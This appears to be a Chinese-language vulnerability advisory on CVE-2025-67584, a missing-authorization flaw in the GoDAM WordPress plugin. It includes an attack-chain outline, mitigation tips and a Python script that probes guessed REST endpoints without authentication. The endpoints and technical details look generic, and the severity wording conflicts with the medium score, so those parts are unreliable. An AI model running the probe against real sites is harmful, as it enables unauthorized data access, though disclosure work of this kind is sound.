IPBUF安全漏洞报告
English
CVE-2025-67584 CVSS 5.3 中危

CVE-2025-67584 WordPress GoDAM插件访问控制漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-67584
漏洞类型
访问控制/权限绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
rtCamp GoDAM WordPress Plugin <= 1.4.6

相关标签

CVE-2025-67584Missing AuthorizationBroken Access ControlWordPress PluginGoDAMrtCampAccess Control BypassCVSS 5.3Medium SeverityUnauthenticated Access

漏洞概述

CVE-2025-67584是WordPress插件GoDAM(由rtCamp开发)中发现的严重访问控制漏洞。该漏洞属于Missing Authorization类型,由于插件在访问控制安全级别配置上存在错误,导致未经授权的攻击者可以访问本应受保护的功能和数据。GoDAM插件主要用于WordPress网站的媒体文件管理和优化,而此漏洞使得攻击者无需任何认证凭据即可通过网络请求访问敏感功能。根据CVSS 3.1评分5.3(中等严重级别),该漏洞对机密性有低影响,但不影响完整性和可用性。攻击者可利用此漏洞获取未授权访问权限,查看或操作本应受保护的数据,建议受影响用户尽快升级到最新版本以修复此安全缺陷。

技术细节

该漏洞存在于GoDAM插件的访问控制机制中,具体表现为插件未能正确验证用户权限和访问请求的合法性。由于访问控制安全级别配置不当,攻击者可以通过构造特定的HTTP请求来绕过权限检查,直接访问管理员级别的功能接口。攻击向量为网络路径(AV:N),攻击复杂度低(AC:L),无需认证(PR:N)和用户交互(UI:N)。漏洞影响版本从初始版本至1.4.6版本,攻击者利用此漏洞可获取低级别的机密性信息泄露。此类访问控制漏洞通常涉及API端点未进行适当的权限验证、角色检查缺失或访问控制逻辑实现错误等问题。

攻击链分析

STEP 1
1
侦察阶段:攻击者识别目标WordPress网站并检测GoDAM插件版本(<= 1.4.6)
STEP 2
2
枚举阶段:攻击者探测GoDAM插件的API端点,识别未授权可访问的功能接口
STEP 3
3
利用阶段:通过构造HTTP请求直接访问受保护的端点,无需任何认证凭据
STEP 4
4
数据获取:攻击者获取敏感配置信息、媒体文件列表或其他受保护数据
STEP 5
5
持久化利用:可能结合其他漏洞进一步提升权限或执行恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67584 GoDAM Plugin Access Control Bypass PoC # Affected: rtCamp GoDAM WordPress Plugin <= 1.4.6 # Type: Missing Authorization / Broken Access Control import requests import sys TARGET_URL = "https://vulnerable-site.com" # Replace with target URL WP_PATH = "/wp-json/godam/v1/" # GoDAM API endpoint def check_vulnerability(): """Check if GoDAM plugin is vulnerable to CVE-2025-67584""" # Test unauthenticated access to protected endpoints vulnerable_endpoints = [ "/wp-json/godam/v1/settings", "/wp-json/godam/v1/media/list", "/wp-json/godam/v1/config", "/wp-json/godam/v1/optimize" ] print(f"[*] Testing GoDAM Plugin for CVE-2025-67584") print(f"[*] Target: {TARGET_URL}") print("-" * 50) for endpoint in vulnerable_endpoints: url = f"{TARGET_URL}{endpoint}" try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {endpoint} (Status: {response.status_code})") else: print(f"[*] Unknown: {endpoint} (Status: {response.status_code})") except requests.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") if __name__ == "__main__": check_vulnerability()

影响范围

rtCamp GoDAM WordPress Plugin <= 1.4.6

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)限制WordPress REST API的访问权限;2)使用安全插件限制未授权API访问;3)禁用不必要的API端点;4)实施IP访问限制;5)启用双因素认证增强管理员账户安全;6)监控访问日志检测异常请求模式。建议尽快升级到插件最新版本以彻底修复此访问控制漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表